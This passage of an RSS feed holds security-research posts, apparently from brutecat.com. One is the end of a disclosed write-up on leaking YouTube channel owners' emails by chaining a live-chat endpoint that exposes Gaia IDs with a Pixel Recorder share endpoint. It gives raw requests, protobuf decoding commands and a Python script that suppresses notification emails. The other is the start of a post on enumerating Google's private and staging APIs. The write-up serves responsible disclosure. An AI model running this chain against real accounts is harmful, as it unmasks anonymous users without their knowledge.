<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&amp;pbj=1&amp;prettyPrint=false</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>www.youtube.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-jboss-cli">{
  <span class="hljs-string">...</span>
  <span class="hljs-string">&quot;serviceEndpoint&quot;</span>: {
    <span class="hljs-string">...</span>
    <span class="hljs-string">&quot;commandMetadata&quot;</span>: {
      <span class="hljs-string">&quot;webCommandMetadata&quot;</span>: {
        <span class="hljs-string">&quot;sendPost&quot;</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-string">&quot;apiUrl&quot;</span>: <span class="hljs-string">&quot;/youtubei/v1/live_chat/moderate&quot;</span>
      }
    },
    <span class="hljs-string">&quot;moderateLiveChatEndpoint&quot;</span>: {
      <span class="hljs-string">&quot;params&quot;</span>: <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=&quot;</span>
    }
  }
  <span class="hljs-string">...</span>
}</span></code></pre><p>That <code>params</code> is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.</p>
<p>If we try decoding that <code>moderateLiveChatEndpoint</code> params:</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
1 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
10: 0
11: 1
12 {
  1: <span class="hljs-string">&quot;113907466537670370590&quot;</span>
  2: <span class="hljs-string">&quot;SE-aYOb-uCg059qHRis_ow&quot;</span>
}
14: 0</code></pre><p>It actually just contains the Gaia ID of the user we want to block, we don&#39;t even need to block them!</p>
<p>Let&#39;s check out the <code>get_item_context_menu</code> requests params too:</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
3 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
6 {
  1: <span class="hljs-string">&quot;UCSE-aYOb-uCg059qHRis_ow&quot;</span>
}</code></pre><p>Seems to just contain the channel ID of the channel we&#39;re blocking, the livestream video ID and livestream author ID. Let&#39;s try to fake the request params with our own target&#39;s channel ID.</p>
<p>For this test, we&#39;ll use a <a href="https://www.youtube.com/channel/UCD2LZAT1j1DyVXq2R2BdusQ" target="_blank" rel="noopener noreferrer">Topic Channel</a> since they are <a href="https://support.google.com/youtube/answer/7636475#topicchannels" target="_blank" rel="noopener noreferrer">auto-generated by YouTube</a> and guaranteed to not have any live chat messages.</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;&lt;SNIP&gt;&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g&#x27;</span> | <span class="hljs-built_in">base64</span> | <span class="hljs-built_in">base64</span>
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=</code></pre><p>Testing this on <code>/youtubei/v1/live_chat/get_item_context_menu</code>:</p>
<pre><code class="hljs language-json">...
<span class="hljs-attr">&quot;moderateLiveChatEndpoint&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;params&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=&quot;</span><span class="hljs-punctuation">}</span>
...</code></pre><pre><code class="hljs language-bash"><span class="hljs-built_in">echo</span> -n <span class="hljs-string">&quot;Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=&quot;</span> | <span class="hljs-built_in">base64</span> -d | sed <span class="hljs-string">&#x27;s/%3D/=/g&#x27;</span> | <span class="hljs-built_in">base64</span> -d | protoc --decode_raw
1 {
  5 {
    1: <span class="hljs-string">&quot;UChs0pSaEoNLV4mevBFGaoKA&quot;</span>
    2: <span class="hljs-string">&quot;36YnV9STBqc&quot;</span>
  }
}
10: 0
11: 1
12 {
  1: <span class="hljs-string">&quot;103261974221829892167&quot;</span>
  2: <span class="hljs-string">&quot;D2LZAT1j1DyVXq2R2BdusQ&quot;</span>
}
14: 0</code></pre><p>We can leak the Gaia ID of the channel - <strong>103261974221829892167</strong></p>
<h3 id="the-missing-puzzle-piece-pixel-recorder"><a class="anchor" href="#the-missing-puzzle-piece-pixel-recorder" aria-hidden="true">#</a>The missing puzzle piece: Pixel Recorder</h3><p>I told my friend <a href="https://schizo.org" target="_blank" rel="noopener noreferrer">nathan</a> about the YouTube Gaia ID leak and we started looking into old forgotten Google products since they probably contained some bug or logic flaw to resolve a Gaia ID to an email. <a href="https://recorder.google.com" target="_blank" rel="noopener noreferrer">Pixel Recorder</a> was one of them. Nathan made a test recording on his Pixel phone and synced it to his Google account so we could access the endpoints on the web at <a href="https://recorder.google.com" target="_blank" rel="noopener noreferrer">https://recorder.google.com</a>:</p>
<p><img src="/assets/leaking-youtube-emails/recorder_home_page.png" alt="" loading="lazy" /></p>
<p>When we tried sharing the recording to a test email, that&#39;s when it hit us:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>pixelrecorder-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>80
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://recorder.google.com/

<span class="language-lua">[<span class="hljs-string">&quot;7adab89e-4ace-4945-9f75-6fe250ccbe49&quot;</span>,null,<span class="hljs-string">[[&quot;113769094563819690011&quot;,2,null]]</span>]</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>ESF
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>138

<span class="language-lua">[<span class="hljs-string">&quot;28bc3792-9bdb-4aed-9a78-17b0954abc7d&quot;</span>,<span class="hljs-string">[[null,2,&quot;vrptest2@gmail.com&quot;]]</span>]</span></code></pre><p>This endpoint was taking in the obfuscated Gaia ID and... <strong>returning the email?</strong></p>
<p>We tested this with the obfuscated Gaia ID <code>107183641464576740691</code> we got from blocking that user on YouTube a while back and <strong>it worked</strong>:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>ESF
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>138

<span class="language-prolog">[<span class="hljs-string">&quot;28bc3792-9bdb-4aed-9a78-17b0954abc7d&quot;</span>,[[null,<span class="hljs-number">2</span>,<span class="hljs-string">&quot;redacted@gmail.com&quot;</span>],[null,<span class="hljs-number">2</span>,<span class="hljs-string">&quot;vrptest2@gmail.com&quot;</span>]]]</span></code></pre><h3 id="a-small-problem-preventing-notification-to-the-target"><a class="anchor" href="#a-small-problem-preventing-notification-to-the-target" aria-hidden="true">#</a>A small problem: preventing notification to the target</h3><p>It seems that whenever we share a recording with a victim, they receive an email that looks like this:</p>
<p><img src="/assets/leaking-youtube-emails/recorder_victim.png" alt="" loading="lazy" /></p>
<p>This is <strong>really bad</strong>, and it would lower the impact of the bug quite a lot. On the share pop-up, there didn&#39;t seem to be any option to disable notifications.</p>
<p><img src="/assets/leaking-youtube-emails/share_recording.png" alt="" loading="lazy" /></p>
<p>I tried leaking the full request proto via my tool <a href="https://github.com/ddd/req2proto" target="_blank" rel="noopener noreferrer">req2proto</a>, but there was nothing about disabling the email notification:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> java.com.google.wireless.android.pixel.recorder.protos;

<span class="hljs-keyword">import</span> <span class="hljs-string">&quot;java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto&quot;</span>;

<span class="hljs-keyword">message </span><span class="hljs-title class_">WriteShareListRequest</span> {
  <span class="hljs-type">string</span> recording_id = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> delete_obfuscated_gaia_ids = <span class="hljs-number">2</span>;
  ShareUser update_shared_users = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> sharing_message = <span class="hljs-number">4</span>;
}

<span class="hljs-keyword">message </span><span class="hljs-title class_">ShareUser</span> {
  <span class="hljs-type">string</span> obfuscated_gaia_id = <span class="hljs-number">1</span>;
  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> email = <span class="hljs-number">3</span>;
}</code></pre><p>Even trying to add and remove the user at the same time didn&#39;t work, the email was still sent. But that&#39;s when we realized - if it&#39;s including our recording title in the email subject, perhaps it wouldn&#39;t be able to send an email if our recording title was too long.</p>
<p>We hacked together a quick python script to test this out:</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">import</span> requests

BASE_URL = <span class="hljs-string">&quot;https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/&quot;</span>

headers = {
    <span class="hljs-string">&quot;Host&quot;</span>: <span class="hljs-string">&quot;pixelrecorder-pa.clients6.google.com&quot;</span>,
    <span class="hljs-string">&quot;Content-Type&quot;</span>: <span class="hljs-string">&quot;application/json+protobuf&quot;</span>,
    <span class="hljs-string">&quot;X-Goog-Api-Key&quot;</span>: <span class="hljs-string">&quot;AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro&quot;</span>,
    <span class="hljs-string">&quot;Origin&quot;</span>: <span class="hljs-string">&quot;https://recorder.google.com&quot;</span>
}

<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_recording_uuid</span>(<span class="hljs-params">share_id: <span class="hljs-built_in">str</span></span>):
    payload = <span class="hljs-string">f&quot;[\&quot;<span class="hljs-subst">{share_id}</span>\&quot;]&quot;</span>
    response = requests.post(BASE_URL + <span class="hljs-string">&quot;GetRecordingInfo&quot;</span> + <span class="hljs-string">&quot;?alt=json&quot;</span>, headers=headers, data=payload)
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;unknown error when getting recording uuid: &quot;</span>, response.json())
        exit(<span class="hljs-number">1</span>)
    <span class="hljs-keyword">try</span>:
        response = response.json()
    <span class="hljs-keyword">except</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;can\&#x27;t parse response when getting recording uuid: &#x27;</span>, response.text)
        exit(<span class="hljs-number">1</span>)

    <span class="hljs-keyword">return</span> response[<span class="hljs-string">&quot;recording&quot;</span>][<span class="hljs-string">&quot;uuid&quot;</span>]

<span class="hljs-keyword">def</span> <span class="hljs-title function_">update_recording_title</span>(<span class="hljs-params">share_id: <span class="hljs-built_in">str</span></span>):
    x = <span class="hljs-string">&#x27;X&#x27;</span>*<span class="hljs-number">2500000</span> <span class="hljs-comment"># 2.5 million char long title name!</span>
    payload = <span class="hljs-string">f&#x27;[&quot;<span class="hljs-subst">{share_id}</span>&quot;,&quot;<span class="hljs-subst">{x}</span>&quot;]&#x27;</span>
    response = requests.post(BASE_URL + <span class="hljs-string">&quot;UpdateRecordingTitle&quot;</span> + <span class="hljs-string">&quot;?alt=json&quot;</span>, headers=headers, data=payload)
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;unknown error when updating recording title: &quot;</span>, response.json())
        exit(<span class="hljs-number">1</span>)

<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
    share_id = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Enter share ID: &quot;</span>)
    headers[<span class="hljs-string">&quot;Cookie&quot;</span>] = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Cookie header:&quot;</span> )
    headers[<span class="hljs-string">&quot;Authorization&quot;</span>] = <span class="hljs-built_in">input</span>(<span class="hljs-string">&quot;Authorization header: &quot;</span>)
    uuid = get_recording_uuid(share_id)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;UUID:&quot;</span>, uuid)
    update_recording_title(uuid)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Updated recording title successfully.&quot;</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    main()</code></pre><p>... and the recording title was now <strong>2.5 million letters long!</strong> There wasn&#39;t any server-side limit to the length of a recording name.</p>
<p><img src="/assets/leaking-youtube-emails/long_recording_name.png" alt="" loading="lazy" /></p>
<p>Trying to share the recording with a different test user... <strong>bingo!</strong> No notification email.</p>
<p><img src="/assets/leaking-youtube-emails/no_gmail_notification.png" alt="" loading="lazy" /></p>
<h3 id="putting-it-all-together"><a class="anchor" href="#putting-it-all-together" aria-hidden="true">#</a>Putting it all together</h3><p>We basically have the full attack chain, we just have to put it together.</p>
<ul>
<li>Leak the obfuscated Gaia ID of the YouTube channel from the Innertube endpoint <code>/get_item_context_menu</code></li>
<li>Share the Pixel recording with an extremely long name with the target to convert the Gaia ID to an email</li>
<li>Remove the target from the Pixel recording (cleanup)</li>
</ul>
<p>Here&#39;s a POC of the exploit in action:</p>
<iframe src="https://www.youtube.com/embed/nuZiiKVej84" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><h3 id="timeline"><a class="anchor" href="#timeline" aria-hidden="true">#</a>Timeline</h3><ul>
<li>2024-09-15 - Report sent to vendor</li>
<li>2024-09-16 - Vendor triaged report</li>
<li>2024-09-16 - 🎉 <strong>Nice catch!</strong></li>
<li>2024-10-03 - Panel marks it as duplicate of existing-tracked bug, does botched patch of initial YouTube obfuscated Gaia ID disclosure</li>
<li>2024-10-03 - Clarified to vendor that they haven&#39;t recognized Pixel recorder as vulnerability itself (since obfuscated Gaia IDs are leaked for Google Maps/Play reviewers) and provided vendor a work-around method to once again leak YouTube channel obfuscated Gaia IDs</li>
<li>2024-11-05 - <strong>Panel awards $3,133.</strong> Rationale: Exploitation likelihood is medium. Issue qualified as an abuse-related methodology with high impact.</li>
<li>2024-12-03 - Product team sent report back to panel for additional reward consideration, coordinates disclosure for 2025-02-03</li>
<li>2024-12-12 - <strong>Panel awards an additional $7,500.</strong> Rationale: Exploitation likelihood is high. Issue qualified as an abuse-related methodology with high impact. Applied 1 downgrade from the base amount due to complexity of attack chain required.</li>
<li>2025-01-29 - Vendor requests extension for disclosure to 2025-02-02</li>
<li>2025-02-09 - Confirm to vendor that both parts of the exploit have been fixed (T+147 days since disclosure)</li>
<li>2025-02-12 - Report disclosed</li>
</ul>
]]></content:encoded>
            <author>Arvin Shivram &amp; Nathan (schizo.org)</author>
            <enclosure url="https://brutecat.com/assets/youtube-email-disclosure-v2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Decoding Google: Converting a Black Box to a White Box]]></title>
            <link>https://brutecat.com/articles/decoding-google</link>
            <guid isPermaLink="false">decoding-google</guid>
            <pubDate>Fri, 01 Nov 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[We've all been there - staring at Google's search box, overwhelmed by the maze of complexity hiding behind that minimalist interface, thinking it's impossible to break in. The key to decoding Google? Converting the attack surface from a black box to a white box.]]></description>
            <content:encoded><![CDATA[<p>We&#39;ve all been there - staring at Google&#39;s search box, overwhelmed by the maze of complexity hiding behind that minimalist interface, thinking it&#39;s impossible to break in. The key to decoding Google? Converting the attack surface from a black box to a white box. The first step is finding all the endpoints that exist, and all of their respective parameters, especially ones that are hidden and aren&#39;t used in the actual app and were left from some developer testing, since they likely contain security bugs.</p>
<h4 id="table-of-contents"><a class="anchor" href="#table-of-contents" aria-hidden="true">#</a>Table of Contents</h4><ul>
<li><a href="#how-google-api-authentication-works-on-the-web">How Google API authentication works on the web</a></li>
<li><a href="#secret-visibility-labels">Secret visibility labels</a></li>
<li><a href="#how-google-api-authentication-works-on-android">How Google API authentication works on Android</a></li>
<li><a href="#a-word-on-x-goog-spatula">A word on X-Goog-Spatula</a></li>
<li><a href="#leaking-request-parameters-through-error-messages">Leaking request parameters through error messages</a></li>
</ul>
<p>In Google, there&#39;s something known as <a href="https://developers.google.com/discovery/v1/reference/apis" target="_blank" rel="noopener noreferrer">discovery documents</a> that are essentially like swagger documents, intended for listing API methods on Google&#39;s public APIs such as their <a href="https://developers.google.com/youtube/v3" target="_blank" rel="noopener noreferrer">YouTube Data API</a> (<a href="https://youtube.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">discovery</a>). As it turns out, these discovery documents aren&#39;t just available for their public APIs but also for their private ones such as the Internal People API (<a href="https://people-pa.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">discovery</a>).</p>
<p>While this discovery document doesn&#39;t require any authentication to view, if we try fetching something like the Takeout Private API, we get the following error:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>takeout-pa.googleapis.com</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">403</span> Forbidden
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-smalltalk">{
  <span class="hljs-comment">&quot;error&quot;</span>: {
    <span class="hljs-comment">&quot;code&quot;</span>: <span class="hljs-number">403</span>,
    <span class="hljs-comment">&quot;message&quot;</span>: <span class="hljs-comment">&quot;Method doesn&#x27;t allow unregistered callers (callers without established identity). Please use API Key or other form of API consumer identity to call this API.&quot;</span>,
    <span class="hljs-comment">&quot;status&quot;</span>: <span class="hljs-comment">&quot;PERMISSION_DENIED&quot;</span>
  }
}</span></code></pre><p>Thankfully, by looking into how Google authentication works, it&#39;s possible to get past this.</p>
<h3 id="how-google-api-authentication-works-on-the-web"><a class="anchor" href="#how-google-api-authentication-works-on-the-web" aria-hidden="true">#</a>How Google API authentication works on the web</h3><p>If we look at a random request to the People Internal API to lookup a Google user from the web that we can find from DevTools on <a href="https://chat.google.com" target="_blank" rel="noopener noreferrer">https://chat.google.com</a>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://chat.google.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
...
</code></pre><blockquote>
<p>Note: clients6.google.com is an alias for googleapis.com</p>
</blockquote>
<p>The first important header here is <code>X-Goog-Api-Key</code>. This API key gives us permission to call endpoints in the Internal People API. This specific endpoint requires us to be authenticated with our Google account, which is done through the <code>Cookie</code> header and <code>SAPISIDHASH</code> (this value is generated <a href="https://stackoverflow.com/a/32065323" target="_blank" rel="noopener noreferrer">using the SAPISID cookie</a>)</p>
<p>If you&#39;ve worked with Google Cloud before, you might know that APIs need to be enabled for your project before you can make calls to them. If we tried taking this key and doing a call to some random unrelated API like the Play Atoms Private API <code>playatoms-pa.googleapis.com</code></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>playatoms-pa.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA</code></pre><p>We would get the following error:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Play Atoms Private API has not been used in project 576267593750 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/playatoms-pa.googleapis.com/overview?project=576267593750 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.&quot;</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>This is because just like Google Cloud projects we can make ourselves, the API key we found is tied to some Google-owned Cloud project, which doesn&#39;t have the Play Atoms Private API enabled for it.</p>
<p>However, this key does in fact work for the <strong>staging environment</strong> of the Internal People API which otherwise without authentication isn&#39;t public:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>staging-people-pa.sandbox.googleapis.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://chat.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA
</code></pre><blockquote>
<p>Note: all staging/test endpoints are under *.sandbox.googleapis.com. This API key also requires the use of the chat.google.com Referer header.</p>
</blockquote>
<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;Internal People API - Staging&quot;</span>,
  <span class="hljs-string">&quot;documentationLink&quot;</span>: <span class="hljs-string">&quot;http://boq/java/com/google/social/boq/release/socialgraphapiserver&quot;</span>,
  <span class="hljs-string">&quot;discoveryVersion&quot;</span>: <span class="hljs-string">&quot;v1&quot;</span>,
  <span class="hljs-string">&quot;id&quot;</span>: <span class="hljs-string">&quot;people_pa:v2&quot;</span>,
  <span class="hljs-string">&quot;revision&quot;</span>: <span class="hljs-string">&quot;20241031&quot;</span>,
  <span class="hljs-string">...</span>
}
</span></code></pre><p>Unlike the public discovery document, this version contains comments for everything, leaking a lot of how stuff works behind-the-scenes:</p>
<pre><code class="hljs language-json">...
    <span class="hljs-attr">&quot;InAppNotificationTarget&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;InAppNotificationTarget&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;How and where to send notifications to this person in other apps, and why the requester can do so. See go/reachability for more info. \&quot;How\&quot; and \&quot;where\&quot; identify the recipient in a P2P Bridge (glossary/p2p bridge), and \&quot;why\&quot; may be helpful in a UI to disambiguate which of several ways may be used to contact the recipient. How: Via a Google profile or a reachable-only phone number that the requester has access to. Specified in the target \&quot;type\&quot; and \&quot;value\&quot;. Where: Apps in which the profile/phone number owner may receive notifications. Specified in the repeated \&quot;app\&quot;. Why: Which fields in, e.g., a contact associated with this person make the notification target info visible to the requester. Specified in the repeated originating_field param. Example: Alice has a contact Bob, with: Email 0 = bob@gmail.com Phone 0 = +12223334444 Phone 1 = +15556667777 Email 0 and Phone 0 let Alice see Bob&#x27;s public profile (obfuscated gaia ID = 123). Public profiles are visible by email by default, and Bob has explicitly made it visible via Phone 0. Bob says people can send notifications to his public profile in YouTube. Phone 2 is associated with another Google profile that Bob owns, but he doesn&#x27;t want others to see it. He is okay with people sending notifications to him in Who&#x27;s Down if they have this phone number, however. There will be separate InAppNotificationTargets: one for Bob&#x27;s public Google profile, and one for the second phone number, which is in his private profile. IANT #1 - targeting Bob&#x27;s public profile (visible via Email 0 and Phone 0): app = [YOUTUBE] type = OBFUSCATED_GAIA_ID value = 123 originating_field: [ { field_type = EMAIL, field_index = 0 } // For Email 0 { field_type = PHONE, field_index = 0 } // For Phone 0 ] IANT #2 - targeting Bob&#x27;s private profile phone number Phone 1: app = [WHOS_DOWN] type = PHONE value = +15556667777 originating_field: [ { field_type = PHONE, field_index = 1 } // For Phone 1 ]&quot;</span><span class="hljs-punctuation">,</span>
...</code></pre><blockquote>
<p><strong>Update 2025-02-06:</strong> Google has <a href="https://x.com/brutecat/status/1887436162744410509" target="_blank" rel="noopener noreferrer">removed all comments</a> from the staging discovery doc.</p>
</blockquote>
<h3 id="secret-visibility-labels"><a class="anchor" href="#secret-visibility-labels" aria-hidden="true">#</a>Secret visibility labels</h3><p>As it turns out, certain Google cloud projects have visibility labels enabled for them, giving them more access than others. Endpoints can be hidden behind visibility labels, and they won&#39;t show up in the discovery document unless the secret <code>labels</code> parameter is provided. This <a href="https://www.youtube.com/watch?v=9pviQ19njIs" target="_blank" rel="noopener noreferrer">was discovered</a> by an awesome researcher <a href="https://www.ezequiel.tech/" target="_blank" rel="noopener noreferrer">Ezequiel Pereira</a> who now works at Google.</p>
